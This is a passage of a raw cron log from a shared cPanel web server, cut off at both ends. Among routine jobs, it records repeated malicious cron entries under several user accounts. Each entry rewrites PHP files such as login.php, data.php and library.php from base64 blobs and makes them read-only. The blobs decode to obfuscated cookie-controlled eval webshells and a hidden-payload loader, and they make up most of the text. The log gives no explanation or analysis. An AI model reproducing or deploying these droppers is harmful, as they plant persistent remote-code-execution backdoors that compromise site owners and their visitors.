JHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:12:02 medusa CROND[28536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:12:02 medusa CROND[28539]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 06:12:02 medusa CROND[28540]: (energiae) CMD (/opt/cpanel/ea-php74/root/usr/bin/php /home5/energiae/analytics.energiaenmovimiento.com.ar/console core:archive --url=https://analytics.energiaenmovimiento.com.ar/ > /dev/null)
Jun  7 06:12:02 medusa CROND[28541]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:12:02 medusa CROND[28542]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:12:02 medusa CROND[28543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:12:02 medusa CROND[28544]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:12:02 medusa CROND[28546]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:12:02 medusa CROND[28547]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:12:02 medusa CROND[28549]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:12:02 medusa CROND[28550]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:12:02 medusa CROND[28551]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 06:12:02 medusa CROND[28563]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:12:02 medusa CROND[28569]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:12:02 medusa CROND[28570]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:13:02 medusa CROND[30430]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 06:13:02 medusa CROND[30431]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:13:02 medusa CROND[30432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:13:02 medusa CROND[30433]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:13:02 medusa CROND[30434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:13:02 medusa CROND[30435]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:13:02 medusa CROND[30436]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:13:02 medusa CROND[30438]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 06:13:02 medusa CROND[30439]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:13:02 medusa CROND[30440]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:13:02 medusa CROND[30446]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:13:02 medusa CROND[30449]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:13:02 medusa CROND[30450]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:13:02 medusa CROND[30453]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 06:14:01 medusa CROND[32199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:14:01 medusa CROND[32203]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 06:14:01 medusa CROND[32207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:14:01 medusa CROND[32209]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:14:01 medusa CROND[32210]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKS